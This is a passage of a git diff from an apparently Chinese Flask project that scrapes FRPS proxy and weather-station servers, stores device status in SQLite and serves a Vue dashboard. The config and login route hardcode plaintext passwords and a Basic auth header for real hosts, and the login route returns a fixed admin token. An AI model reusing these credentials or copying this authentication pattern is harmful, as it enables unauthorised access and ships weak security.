|
||||
|
||||
def add_error(source, name, reason, latest_time="N/A"):
|
||||
"""记录错误并计算日期差"""
|
||||
days_diff = "N/A"
|
||||
if latest_time and latest_time != "N/A":
|
||||
try:
|
||||
clean_date_str = str(latest_time).split()[0].replace('_', '-')
|
||||
target_date = datetime.strptime(clean_date_str, "%Y-%m-%d").date()
|
||||
today_date = datetime.now().date()
|
||||
diff = (today_date - target_date).days
|
||||
days_diff = f"滞后 {diff} 天" if diff > 0 else "当天已同步"
|
||||
except:
|
||||
days_diff = "解析失败"
|
||||
|
||||
error_logs.append({
|
||||
"数据来源": source,
|
||||
"站点/代理名称": name,
|
||||
"错误原因": reason,
|
||||
"日期偏移量": days_diff,
|
||||
"最新数据时间": latest_time,
|
||||
"检查时间": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
})
|
||||
|
||||
|
||||
def find_closest_item(items, is_date_level=True):
|
||||
"""寻找日期最接近今天的那一项"""
|
||||
if not items or not isinstance(items, list): return None
|
||||
today = datetime.now()
|
||||
scored_items = []
|
||||
for item in items:
|
||||
if not isinstance(item, dict): continue
|
||||
name_val = item.get('name', '')
|
||||
path_val = item.get('path', '')
|
||||
target_str = name_val if name_val else path_val.split('/')[-1]
|
||||
try:
|
||||
if is_date_level:
|
||||
current_date = datetime.strptime(target_str, "%Y_%m_%d")
|
||||
else:
|
||||
mod_str = item.get('modified', '')
|
||||
if mod_str:
|
||||
current_date = datetime.fromisoformat(mod_str.replace('Z', '+00:00'))
|
||||
else:
|
||||
continue
|
||||
diff = abs((today - current_date.replace(tzinfo=None)).total_seconds())
|
||||
scored_items.append((diff, item, target_str))
|
||||
except:
|
||||
continue
|
||||
if not scored_items: return None
|
||||
scored_items.sort(key=lambda x: x[0])
|
||||
return scored_items[0]
|
||||
|
||||
|
||||
def process_text_content(raw_content):
|
||||
if not raw_content: return ""
|
||||
lines = str(raw_content).split('\n')
|
||||
result, current = [], ""
|
||||
for line in lines:
|
||||
if " " in line:
|
||||
current += line.strip()
|
||||
else:
|
||||
if current: result.append(current)
|
||||
current = line.strip()
|
||||
if current: result.append(current)
|
||||
return "\n".join(result)
|
||||
|
||||
|
||||
def save_json(folder, name, data):
|
||||
path = os.path.join(folder, f"{name}.json")
|
||||
with open(path, 'w', encoding='utf-8') as f:
|
||||
json.dump(data, f, indent=4, ensure_ascii=False)
|
||||
|
||||
|
||||
# --- 106 网站逻辑 ---
|
||||
|
||||
def get_106_dynamic_token(port):
|
||||
"""为106特定端口站点执行登录获取 Token"""
|
||||
url = f"http://106.75.72.40:{port}/api/login"
|
||||
try:
|
||||
resp = requests.post(url, json=CONFIG["106"]["login_payload"], timeout=10)
|
||||
if resp.status_code == 200:
|
||||
return resp.text.strip().replace('"', '')
|
||||
except:
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
def run_106_logic():
|
||||
print("\n>>> 开始处理 106 网站 (FRPS - 修正逻辑)...")
|
||||
c = CONFIG["106"]
|
||||
today_str = datetime.now().strftime("%Y_%m_%d")
|
||||
|
||||
try:
|
||||
main_headers = {"Authorization": c["primary_auth"], "User-Agent": "Mozilla/5.0"}
|
||||
resp = requests.get(c["base_url"], headers=main_headers, timeout=15)
|
||||
if resp.status_code != 200:
|
||||
add_error("106网站", "主入口API", f"访问失败: HTTP {resp.status_code}")
|
||||
return
|
||||
|
||||
proxies = resp.json().get('proxies', [])
|
||||
for item in proxies:
|
||||
if not isinstance(item, dict): continue
|
||||
name = item.get('name', 'Unknown')
|
||||
if not name.lower().endswith('_data'): continue
|
||||
|
||||
# 1. 状态预检 - 离线拦截逻辑
|
||||
status_raw = item.get('status', '')
|
||||
status = str(status_raw).lower().strip() if status_raw else "unknown"
|
||||
|
||||
# 如果离线,直接保存并记录错误,不再进行后续 API 访问
|
||||
if status != 'online':
|
||||
add_error("106网站", name, f"设备离线 (当前状态: {status})")
|
||||
save_json(FRPS_DIR, name, item)
|
||||
continue
|
||||
|
||||
# 2. 识别站点类型并进行在线处理
|
||||
name_up = name.upper()
|
||||
is_tower_underscore = "TOWER_" in name_up
|
||||
is_tower_i = "TOWER" in name_up and not is_tower_underscore
|
||||
if not (is_tower_underscore or is_tower_i): continue
|
||||
|
||||
try:
|
||||
conf = item.get('conf') or {}
|
||||
port = conf.get('remote_port')
|
||||
if not port:
|
||||
add_error("106网站", name, "配置错误: 缺少 remote_port")
|
||||
continue
|
||||
|
||||
# 只有 Online 才获取子站点 Token
|
||||
token = get_106_dynamic_token(port)
|
||||
if not token:
|
||||
add_error("106网站", name, "Token获取失败(登录异常)")
|
||||
continue
|
||||
|
||||
headers = {"Authorization": c["primary_auth"], "x-auth": token, "User-Agent": "Mozilla/5.0"}
|
||||
|
||||
# 查找 Data 根目录 (根据类型区分大小写)
|
||||
api_root = "/api/resources/Data/" if is_tower_underscore else "/api/resources/data/"
|
||||
res2 = requests.get(f"http://106.75.72.40:{port}{api_root}", headers=headers, timeout=10)
|
||||
if res2.status_code != 200:
|
||||
add_error("106网站", name, f"无法打开Data目录 (HTTP {res2.status_code})")
|
||||
continue
|
||||
|
||||
it2 = res2.json().get('items', [])
|
||||
best_date = find_closest_item(it2, is_date_level=True)
|
||||
if not best_date or best_date[2] != today_str:
|
||||
add_error("106网站", name, "未找到今日文件夹", best_date[2] if best_date else "N/A")
|
||||
if not best_date: continue
|
||||
|
||||
date_path = f"{api_root}{best_date[2]}/"
|
||||
|
||||
# 查找文件夹内最新文件
|
||||
res3 = requests.get(f"http://106.75.72.40:{port}{date_path}", headers=headers, timeout=10)
|
||||
it3 = res3.json().get('items', [])
|
||||
best_file = find_closest_item(it3, is_date_level=False)
|
||||
if not best_file:
|
||||
add_error("106网站", name, "文件夹内无文件", best_date[2])
|
||||
continue
|
||||
|
||||
file_item = best_file[1]
|
||||
full_path = file_item.get('path') or f"{date_path}{file_item.get('name')}"
|
||||
|
||||
# 3. 根据类型下载内容
|
||||
if is_tower_i:
|
||||
# TowerI 模式:使用 raw 接口获取二进制
|
||||
raw_url = f"http://106.75.72.40:{port}/api/raw{full_path}"
|
||||
res4 = requests.get(raw_url, headers=headers, timeout=20)
|
||||
if res4.status_code == 200:
|
||||
save_path = os.path.join(FRPS_DIR, f"{name}_{today_str}.bin")
|
||||
with open(save_path, 'wb') as f:
|
||||
f.write(res4.content)
|
||||
print(f" ✅ {name} 二进制数据保存成功")
|
||||
else:
|
||||
# Tower_ 模式:使用 resources 接口获取 JSON
|
||||
file_api_url = f"http://106.75.72.40:{port}/api/resources{full_path}"
|
||||
res4 = requests.get(file_api_url, headers=headers, timeout=20)
|
||||
file_json = res4.json()
|
||||
raw_content = file_json.get('content', '') if file_json else None
|
||||
if raw_content:
|
||||
save_path = os.path.join(FRPS_DIR, f"{name}_{today_str}.json")
|
||||
with open(save_path, 'w', encoding='utf-8') as f:
|
||||
f.write(process_text_content(raw_content))
|
||||
print(f" ✅ {name} JSON数据保存成功")
|
||||
else:
|
||||
add_error("106网站", name, "文件内容为空", best_date[2])
|
||||
|
||||
except Exception as e:
|
||||
add_error("106网站", name, f"站点处理崩溃: {str(e)}")
|
||||
|
||||
except Exception as e:
|
||||
add_error("106网站", "全局逻辑", f"主进程崩溃: {str(e)}")
|
||||
|
||||
|
||||
# --- 82 网站逻辑 (保持原样) ---
|
||||
|
||||
def run_82_logic():
|
||||
print("\n>>> 开始处理 82 网站 (Weather)...")
|
||||
c = CONFIG["82"]
|
||||
session = requests.Session()
|
||||
today_fmt = datetime.now().strftime("%Y-%m-%d")
|
||||
|
||||
try:
|
||||
session.post(f"{c['base_url']}/login.php", data=c["login"], timeout=10)
|
||||
resp = session.post(f"{c['base_url']}/GetStationList.php", timeout=10)
|
||||
if resp.status_code != 200:
|
||||
add_error("82网站", "登录模块", f"无法获取列表: HTTP {resp.status_code}")
|
||||
return
|
||||
|
||||
stations = etree.HTML(resp.content).xpath('//option/@value')
|
||||
stations = [s for s in stations if s and str(s).strip()]
|
||||
|
||||
for sid in stations:
|
||||
try:
|
||||
r = session.post(f"{c['base_url']}/getLastWeatherData.php", data=str(sid),
|
||||
headers={'Content-Type': 'text/plain'}, timeout=10)
|
||||
if r.status_code != 200:
|
||||
add_error("82网站", sid, f"请求失败: HTTP {r.status_code}")
|
||||
continue
|
||||
|
||||
data = r.json()
|
||||
if data is None:
|
||||
add_error("82网站", sid, "返回 Null 数据")
|
||||
continue
|
||||
|
||||
d_list = data.get('date', [])
|
||||
if not d_list:
|
||||
add_error("82网站", sid, "返回结果中无日期列表")
|
||||
else:
|
||||
latest = str(d_list[-1])
|
||||
if latest.split()[0] != today_fmt:
|
||||
add_error("82网站", sid, "数据非当天更新", latest)
|
||||
|
||||
save_json(WEATHER_DIR, sid, data)
|
||||
time.sleep(0.1)
|
||||
except Exception as e:
|
||||
add_error("82网站", sid, f"数据解析异常: {str(e)}")
|
||||
except Exception as e:
|
||||
add_error("82网站", "初始化模块", str(e))
|
||||
|
||||
|
||||
# --- 汇总导出 ---
|
||||
|
||||
def export_to_excel():
|
||||
if not error_logs:
|
||||
print("\n[✔] 未发现错误记录。")
|
||||
return
|
||||
|
||||
df = pd.DataFrame(error_logs)
|
||||
cols = ["数据来源", "站点/代理名称", "错误原因", "日期偏移量", "最新数据时间", "检查时间"]
|
||||
df = df[[c for c in cols if c in df.columns]]
|
||||
df.to_excel(EXCEL_PATH, index=False)
|
||||
print(f"\n[!] 错误报表已生成至: {EXCEL_PATH} (共 {len(error_logs)} 条)")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
run_106_logic()
|
||||
run_82_logic()
|
||||
export_to_excel()
|
||||
print("\n任务全部完成。")
|
||||
202
2_1banben/app.py
202
2_1banben/app.py
@ -1,202 +0,0 @@
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import logging
|
||||
import mimetypes
|
||||
from datetime import datetime
|
||||
from flask import Flask, send_from_directory, jsonify
|
||||
from flask_cors import CORS
|
||||
from flask_apscheduler import APScheduler
|
||||
|
||||
# ==============================================================================
|
||||
# ✅ 1. 核心模块引用
|
||||
# ==============================================================================
|
||||
try:
|
||||
# 数据库实例 (在根目录 extensions.py 中)
|
||||
from extensions import db
|
||||
|
||||
# 数据模型 (在根目录 models.py 中)
|
||||
from models import Device, DeviceHistory, MaintenanceLog
|
||||
|
||||
# 核心业务逻辑 (在 services/core.py 中)
|
||||
from services.core import execute_monitor_task
|
||||
|
||||
# 路由蓝图 (在 routes/api.py 中)
|
||||
try:
|
||||
from routes.api import api_bp as device_bp
|
||||
except ImportError:
|
||||
from routes.api import device_bp
|
||||
|
||||
# 工具函数 (在 routes/api.py 中)
|
||||
from routes.api import calculate_offset
|
||||
|
||||
except ImportError as e:
|
||||
print(f"❌ 严重错误: 模块导入失败。请检查文件名和变量名。详细信息: {e}")
|
||||
print(f"系统路径: {sys.path}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
# ==============================================================================
|
||||
# 2. 路径计算模块 (兼容 PyInstaller 打包)
|
||||
# ==============================================================================
|
||||
def get_base_path():
|
||||
"""获取运行时基准路径,兼容开发环境和打包环境"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
if hasattr(sys, '_MEIPASS'):
|
||||
return sys._MEIPASS # --onefile 模式
|
||||
else:
|
||||
return os.path.dirname(os.path.abspath(sys.executable)) # --onedir 模式
|
||||
else:
|
||||
return os.path.abspath(os.path.dirname(__file__))
|
||||
|
||||
|
||||
BASE_DIR = get_base_path()
|
||||
STATIC_FOLDER = os.path.join(BASE_DIR, 'web_dist')
|
||||
INSTANCE_FOLDER = os.path.join(BASE_DIR, 'instance')
|
||||
DB_PATH = os.path.join(INSTANCE_FOLDER, 'devices.db')
|
||||
|
||||
# 修复 Windows 下注册表 MIME 类型缺失导致网页白屏的问题
|
||||
mimetypes.add_type('application/javascript', '.js')
|
||||
mimetypes.add_type('text/css', '.css')
|
||||
|
||||
print(f"🚀 运行环境: {'Packaged' if getattr(sys, 'frozen', False) else 'Dev'}")
|
||||
print(f"📂 基准路径: {BASE_DIR}")
|
||||
print(f"💾 数据库路径: {DB_PATH}")
|
||||
|
||||
|
||||
# ==============================================================================
|
||||
# 3. 定时任务逻辑
|
||||
# ==============================================================================
|
||||
def auto_monitor_job(app):
|
||||
"""定时任务具体执行逻辑"""
|
||||
with app.app_context():
|
||||
print(f"⏰ [定时任务] 启动时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
|
||||
if not execute_monitor_task:
|
||||
print("❌ 错误: 无法加载爬虫核心模块 (execute_monitor_task is Missing)")
|
||||
return
|
||||
|
||||
try:
|
||||
# 执行爬取
|
||||
task_result = execute_monitor_task()
|
||||
if not task_result:
|
||||
print("⚠️ [定时任务] 爬虫未获取到数据")
|
||||
return
|
||||
|
||||
scraped_list = task_result.get('device_list', [])
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
count = 0
|
||||
for item in scraped_list:
|
||||
d_name = item.get('name')
|
||||
if not d_name: continue
|
||||
|
||||
# 查找或创建设备
|
||||
device = Device.query.filter_by(name=d_name).first()
|
||||
if not device:
|
||||
device = Device(name=d_name, source=item.get('source'), install_site="")
|
||||
db.session.add(device)
|
||||
db.session.flush()
|
||||
|
||||
# 更新字段
|
||||
device.status = item.get('status')
|
||||
device.current_value = item.get('value')
|
||||
device.latest_time = item.get('target_time')
|
||||
device.check_time = current_time
|
||||
device.json_data = json.dumps(item.get('raw_json', {}), ensure_ascii=False)
|
||||
device.offset = calculate_offset(item.get('target_time'))
|
||||
|
||||
# 写入历史
|
||||
db.session.add(DeviceHistory(
|
||||
device_id=device.id,
|
||||
status=device.status,
|
||||
result_data=device.current_value,
|
||||
data_time=item.get('target_time'),
|
||||
json_data=device.json_data
|
||||
))
|
||||
count += 1
|
||||
|
||||
db.session.commit()
|
||||
print(f"✅ [定时任务] 成功更新 {count} 台设备状态")
|
||||
|
||||
except Exception as e:
|
||||
db.session.rollback()
|
||||
print(f"❌ [定时任务] 异常: {str(e)}")
|
||||
|
||||
|
||||
# ==============================================================================
|
||||
# 4. Flask 应用工厂
|
||||
# ==============================================================================
|
||||
def create_app():
|
||||
# 🔴 关键修复:移除了 static_url_path=''
|
||||
# 这样 Flask 就不会强制拦截所有根路径请求,让下面的 serve_static 有机会处理 /dashboard
|
||||
app = Flask(__name__, static_folder=STATIC_FOLDER)
|
||||
|
||||
CORS(app)
|
||||
|
||||
# 确保 instance 目录存在
|
||||
if not os.path.exists(INSTANCE_FOLDER):
|
||||
os.makedirs(INSTANCE_FOLDER, exist_ok=True)
|
||||
|
||||
app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{DB_PATH}'
|
||||
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
|
||||
app.config['SCHEDULER_API_ENABLED'] = True
|
||||
|
||||
# 初始化数据库
|
||||
db.init_app(app)
|
||||
|
||||
# 初始化定时任务
|
||||
scheduler = APScheduler()
|
||||
scheduler.init_app(app)
|
||||
scheduler.start()
|
||||
|
||||
# 添加定时任务 (每天 10:00)
|
||||
scheduler.add_job(
|
||||
id='daily_monitor_task',
|
||||
func=auto_monitor_job,
|
||||
args=[app],
|
||||
trigger='cron',
|
||||
hour=10,
|
||||
minute=0
|
||||
)
|
||||
|
||||
# 注册蓝图
|
||||
app.register_blueprint(device_bp)
|
||||
|
||||
# -------------------------------------------------
|
||||
# 前端路由支持 (Vue History Mode)
|
||||
# -------------------------------------------------
|
||||
@app.route('/')
|
||||
def serve_index():
|
||||
if not os.path.exists(os.path.join(app.static_folder, 'index.html')):
|
||||
return "❌ 错误: 前端文件丢失 (web_dist/index.html)", 404
|
||||
return send_from_directory(app.static_folder, 'index.html')
|
||||
|
||||
@app.route('/<path:path>')
|
||||
def serve_static(path):
|
||||
# 1. 优先尝试直接返回实际存在的文件 (js, css, img等)
|
||||
file_path = os.path.join(app.static_folder, path)
|
||||
if os.path.exists(file_path):
|
||||
return send_from_directory(app.static_folder, path)
|
||||
|
||||
# 2. 如果是 API 请求但没找到对应接口,返回 404 JSON (不返回 HTML)
|
||||
if path.startswith('api') or path.startswith('static'):
|
||||
return jsonify({'code': 404, 'message': 'Not Found'}), 404
|
||||
|
||||
# 3. 关键逻辑:
|
||||
# 访问 /dashboard 等前端路由时,文件系统中并没有 dashboard 这个文件
|
||||
# 所以会走到这里,返回 index.html,让 Vue 及其 Router 接管页面渲染
|
||||
return send_from_directory(app.static_folder, 'index.html')
|
||||
|
||||
with app.app_context():
|
||||
db.create_all()
|
||||
|
||||
return app
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
app = create_app()
|
||||
# 生产环境/打包环境通常设为 False
|
||||
debug_mode = not getattr(sys, 'frozen', False)
|
||||
print("🚀 服务启动中...")
|
||||
app.run(host='0.0.0.0', port=5000, debug=debug_mode, use_reloader=False)
|
||||
@ -1,42 +0,0 @@
|
||||
import os
|
||||
import sys
|
||||
|
||||
|
||||
def get_base_path():
|
||||
"""获取运行时路径 (兼容打包后的 exe 和开发环境)"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
return os.path.dirname(sys.executable)
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
def get_static_path():
|
||||
"""获取 dist 静态资源路径"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
return os.path.join(sys._MEIPASS, 'dist')
|
||||
return os.path.join(os.path.dirname(os.path.abspath(__file__)), 'dist')
|
||||
|
||||
|
||||
class Config:
|
||||
BASE_DIR = get_base_path()
|
||||
|
||||
# 数据库路径:保存在运行目录下,文件名为 monitor_data.db
|
||||
# Windows 下路径需要注意转义,这里使用 os.path.join 最安全
|
||||
SQLALCHEMY_DATABASE_URI = f'sqlite:///{os.path.join(BASE_DIR, "monitor_data.db")}'
|
||||
SQLALCHEMY_TRACK_MODIFICATIONS = False
|
||||
|
||||
# --- 定时任务配置 ---
|
||||
SCHEDULER_API_ENABLED = True
|
||||
SCHEDULER_TIMEZONE = "Asia/Shanghai" # 👈 必须加这个,否则 APScheduler 可能报错
|
||||
|
||||
# --- 爬虫配置 (Service层会读取这里) ---
|
||||
CRAWLER_CONFIG = {
|
||||
"106": {
|
||||
"base_url": "http://106.75.72.40:7500/api/proxy/tcp",
|
||||
"primary_auth": "Basic YWRtaW46bGljYWhr",
|
||||
"login_payload": {"username": "admin", "password": "licahk", "recaptcha": ""}
|
||||
},
|
||||
"82": {
|
||||
"base_url": "http://82.156.1.111/weather/php",
|
||||
"login": {'username': 'renlixin', 'password': 'licahk', 'login': '123'}
|
||||
}
|
||||
}
|
||||
@ -1,279 +0,0 @@
|
||||
import os
|
||||
import shutil
|
||||
import json
|
||||
import re
|
||||
from datetime import datetime
|
||||
from flask import Blueprint, jsonify, request
|
||||
from sqlalchemy import desc, or_
|
||||
from extensions import db
|
||||
from models import Device, DeviceHistory, MaintenanceLog
|
||||
|
||||
# 尝试导入爬虫模块
|
||||
try:
|
||||
from services.core import execute_monitor_task
|
||||
except ImportError:
|
||||
execute_monitor_task = None
|
||||
|
||||
api_bp = Blueprint('api', __name__, url_prefix='/api')
|
||||
|
||||
|
||||
# =======================
|
||||
# 0. 认证接口
|
||||
# =======================
|
||||
|
||||
@api_bp.route('/login', methods=['POST'])
|
||||
def login():
|
||||
data = request.get_json()
|
||||
username = data.get('username')
|
||||
password = data.get('password')
|
||||
|
||||
if username == 'admin' and password == 'licahk':
|
||||
return jsonify({
|
||||
'code': 200,
|
||||
'message': '登录成功',
|
||||
'token': 'super-admin-token-2026',
|
||||
'user': {'username': 'admin', 'role': 'administrator'}
|
||||
})
|
||||
|
||||
return jsonify({'code': 401, 'message': '用户名或密码错误'}), 401
|
||||
|
||||
|
||||
# =======================
|
||||
# 1. 设备概览与详情接口
|
||||
# =======================
|
||||
|
||||
@api_bp.route('/devices_overview', methods=['GET'])
|
||||
def devices_overview():
|
||||
try:
|
||||
devices = Device.query.all()
|
||||
data_list = [d.to_dict() for d in devices]
|
||||
return jsonify({'code': 200, 'data': data_list})
|
||||
except Exception as e:
|
||||
return jsonify({'code': 500, 'message': str(e)})
|
||||
|
||||
|
||||
@api_bp.route('/device_data_by_date', methods=['GET'])
|
||||
def device_data_by_date():
|
||||
name = request.args.get('name')
|
||||
date_str = request.args.get('date')
|
||||
|
||||
if not name or not date_str:
|
||||
return jsonify({'code': 400, 'message': 'Missing name or date'}), 400
|
||||
|
||||
device = Device.query.filter_by(name=name).first()
|
||||
if not device:
|
||||
return jsonify({'code': 404, 'message': 'Device not found'}), 404
|
||||
|
||||
content = None
|
||||
history_record = DeviceHistory.query.filter(
|
||||
DeviceHistory.device_id == device.id,
|
||||
DeviceHistory.data_time.like(f"{date_str}%")
|
||||
).order_by(desc(DeviceHistory.id)).first()
|
||||
|
||||
if history_record:
|
||||
content = history_record.json_data
|
||||
elif device.latest_time and device.latest_time.startswith(date_str):
|
||||
content = device.json_data
|
||||
|
||||
if content:
|
||||
return jsonify({
|
||||
'code': 200,
|
||||
'name': device.name,
|
||||
'source': device.source,
|
||||
'content': content
|
||||
})
|
||||
return jsonify({'code': 404, 'message': 'No data for this date'}), 404
|
||||
|
||||
|
||||
# =======================
|
||||
# 2. 维修日志接口
|
||||
# =======================
|
||||
|
||||
@api_bp.route('/logs/list', methods=['GET'])
|
||||
def get_logs():
|
||||
keyword = request.args.get('keyword', '')
|
||||
start_date = request.args.get('start_date')
|
||||
end_date = request.args.get('end_date')
|
||||
|
||||
query = MaintenanceLog.query
|
||||
if keyword:
|
||||
kw = f"%{keyword}%"
|
||||
query = query.filter(or_(
|
||||
MaintenanceLog.device_name.like(kw),
|
||||
MaintenanceLog.engineer.like(kw),
|
||||
MaintenanceLog.location.like(kw),
|
||||
MaintenanceLog.content.like(kw)
|
||||
))
|
||||
|
||||
if start_date and end_date:
|
||||
try:
|
||||
start_dt = datetime.strptime(start_date, '%Y-%m-%d')
|
||||
end_dt = datetime.strptime(end_date, '%Y-%m-%d').replace(hour=23, minute=59, second=59)
|
||||
query = query.filter(MaintenanceLog.timestamp.between(start_dt, end_dt))
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
logs = query.order_by(MaintenanceLog.timestamp.desc()).all()
|
||||
return jsonify({'code': 200, 'data': [l.to_dict() for l in logs]})
|
||||
|
||||
|
||||
@api_bp.route('/logs/add', methods=['POST'])
|
||||
def add_log():
|
||||
data = request.get_json()
|
||||
try:
|
||||
new_log = MaintenanceLog(
|
||||
device_name=data.get('device_name', '未知设备'),
|
||||
engineer=data.get('engineer', ''),
|
||||
location=data.get('location', ''),
|
||||
content=data.get('content', '')
|
||||
)
|
||||
db.session.add(new_log)
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200, 'message': 'Log saved'})
|
||||
except Exception as e:
|
||||
db.session.rollback()
|
||||
return jsonify({'code': 500, 'message': str(e)})
|
||||
|
||||
|
||||
@api_bp.route('/logs/update', methods=['POST'])
|
||||
def update_log():
|
||||
data = request.get_json()
|
||||
log_id = data.get('id')
|
||||
log = MaintenanceLog.query.get(log_id)
|
||||
if not log: return jsonify({'code': 404, 'message': 'Not found'}), 404
|
||||
|
||||
try:
|
||||
log.device_name = data.get('device_name', log.device_name)
|
||||
log.engineer = data.get('engineer', log.engineer)
|
||||
log.location = data.get('location', log.location)
|
||||
log.content = data.get('content', log.content)
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200, 'message': 'Log updated'})
|
||||
except Exception as e:
|
||||
db.session.rollback()
|
||||
return jsonify({'code': 500, 'message': str(e)})
|
||||
|
||||
|
||||
@api_bp.route('/logs/delete', methods=['POST'])
|
||||
def delete_log():
|
||||
data = request.get_json()
|
||||
log = MaintenanceLog.query.get(data.get('id'))
|
||||
if log:
|
||||
db.session.delete(log)
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200, 'message': 'Deleted'})
|
||||
return jsonify({'code': 404, 'message': 'Not found'}), 404
|
||||
|
||||
|
||||
# =======================
|
||||
# 3. 辅助与控制接口 (核心修复逻辑)
|
||||
# =======================
|
||||
|
||||
def calculate_offset(latest_time_str):
|
||||
if not latest_time_str or latest_time_str == "N/A": return "从未同步"
|
||||
try:
|
||||
clean = str(latest_time_str).split()[0].replace('_', '-')
|
||||
target = datetime.strptime(clean, "%Y-%m-%d").date()
|
||||
diff = (datetime.now().date() - target).days
|
||||
return "当天已同步" if diff == 0 else f"滞后 {diff} 天"
|
||||
except:
|
||||
return "时间解析失败"
|
||||
|
||||
|
||||
@api_bp.route('/run_monitor', methods=['POST'])
|
||||
def run_monitor():
|
||||
try:
|
||||
if not execute_monitor_task:
|
||||
return jsonify({'code': 500, 'message': 'Core module missing'})
|
||||
|
||||
task_result = execute_monitor_task()
|
||||
if not task_result: return jsonify({'code': 200, 'message': '任务跳过'})
|
||||
|
||||
scraped_list = task_result.get('device_list', [])
|
||||
current_check_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
count = 0
|
||||
for item in scraped_list:
|
||||
d_name = item.get('name')
|
||||
if not d_name: continue
|
||||
|
||||
d_raw = item.get('raw_json', {})
|
||||
source = item.get('source', '')
|
||||
target_time = item.get('target_time')
|
||||
|
||||
# 处理 106 路径时间
|
||||
if '106' in str(source):
|
||||
try:
|
||||
path_str = d_raw.get('path', '')
|
||||
match = re.search(r'/Data/(\d{4}_\d{2}_\d{2})/\w+_(\d{2}_\d{2}_\d{2})\.csv', path_str)
|
||||
if match:
|
||||
target_time = f"{match.group(1).replace('_', '-')} {match.group(2).replace('_', ':')}"
|
||||
except:
|
||||
pass
|
||||
|
||||
json_str = json.dumps(d_raw, ensure_ascii=False) if isinstance(d_raw, (dict, list)) else str(d_raw)
|
||||
|
||||
# --- 关键修改:先查询,后更新 ---
|
||||
device = Device.query.filter_by(name=d_name).first()
|
||||
if not device:
|
||||
# 只有新设备才初始化静态字段
|
||||
device = Device(name=d_name, source=source, install_site="")
|
||||
db.session.add(device)
|
||||
db.session.flush() # 获取 ID 供 History 使用
|
||||
|
||||
# 仅更新动态抓取的字段,保留手动填写的 install_site, is_maintaining, is_hidden
|
||||
device.status = item.get('status')
|
||||
device.current_value = item.get('value')
|
||||
device.latest_time = target_time
|
||||
device.check_time = current_check_time
|
||||
device.json_data = json_str
|
||||
device.offset = calculate_offset(target_time)
|
||||
|
||||
new_history = DeviceHistory(
|
||||
device_id=device.id,
|
||||
status=item.get('status'),
|
||||
result_data=item.get('value'),
|
||||
data_time=target_time,
|
||||
json_data=json_str
|
||||
)
|
||||
db.session.add(new_history)
|
||||
count += 1
|
||||
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200, 'message': f'成功更新 {count} 台设备,资料已保留'})
|
||||
except Exception as e:
|
||||
db.session.rollback()
|
||||
return jsonify({'code': 500, 'message': str(e)})
|
||||
|
||||
|
||||
@api_bp.route('/update_site', methods=['POST'])
|
||||
def update_site():
|
||||
data = request.get_json()
|
||||
device = Device.query.filter_by(name=data.get('name')).first()
|
||||
if device:
|
||||
device.install_site = data.get('site')
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200})
|
||||
return jsonify({'code': 404}), 404
|
||||
|
||||
|
||||
@api_bp.route('/toggle_maintenance', methods=['POST'])
|
||||
def toggle_maintenance():
|
||||
data = request.get_json()
|
||||
device = Device.query.filter_by(name=data.get('name')).first()
|
||||
if device:
|
||||
device.is_maintaining = data.get('is_maintaining')
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200})
|
||||
return jsonify({'code': 404}), 404
|
||||
|
||||
|
||||
@api_bp.route('/toggle_hidden', methods=['POST'])
|
||||
def toggle_hidden():
|
||||
data = request.get_json()
|
||||
device = Device.query.filter_by(name=data.get('name')).first()
|
||||
if device:
|
||||
device.is_hidden = data.get('is_hidden')
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200})
|
||||
return jsonify({'code': 404}), 404
|
||||
224
2_3banben/app.py
Normal file
224
2_3banben/app.py
Normal file
@ -0,0 +1,224 @@
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import mimetypes
|
||||
from datetime import datetime
|
||||
from flask import Flask, send_from_directory, jsonify
|
||||
from flask_cors import CORS
|
||||
|
||||
# 引入配置
|
||||
from config import Config
|
||||
# 引入扩展
|
||||
from extensions import db, jwt, scheduler
|
||||
# 引入模型 (确保 create_all 能扫描到)
|
||||
from models import Device, DeviceHistory, User
|
||||
|
||||
# 引入 API 蓝图和工具
|
||||
try:
|
||||
from routes.api import api_bp, calculate_offset
|
||||
except ImportError:
|
||||
api_bp = None
|
||||
calculate_offset = None
|
||||
|
||||
# 引入爬虫服务
|
||||
try:
|
||||
from services.core import execute_monitor_task
|
||||
except ImportError:
|
||||
execute_monitor_task = None
|
||||
|
||||
# 注册 MIME 类型 (防止前端 JS/CSS 加载报 404 或类型错误)
|
||||
mimetypes.add_type('application/javascript', '.js')
|
||||
mimetypes.add_type('text/css', '.css')
|
||||
|
||||
|
||||
# --- 定时任务逻辑 (保持不变) ---
|
||||
def auto_monitor_job(app):
|
||||
with app.app_context():
|
||||
print(f"⏰ [定时任务] 启动: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
|
||||
if not execute_monitor_task:
|
||||
print("❌ 错误: 爬虫模块未加载")
|
||||
return
|
||||
|
||||
try:
|
||||
task_result = execute_monitor_task()
|
||||
if not task_result:
|
||||
print("⚠️ 未抓取到数据")
|
||||
return
|
||||
|
||||
scraped_list = task_result.get('device_list', [])
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
count = 0
|
||||
|
||||
for item in scraped_list:
|
||||
d_name = item.get('name')
|
||||
if not d_name: continue
|
||||
|
||||
# 查找或创建设备
|
||||
device = Device.query.filter_by(name=d_name).first()
|
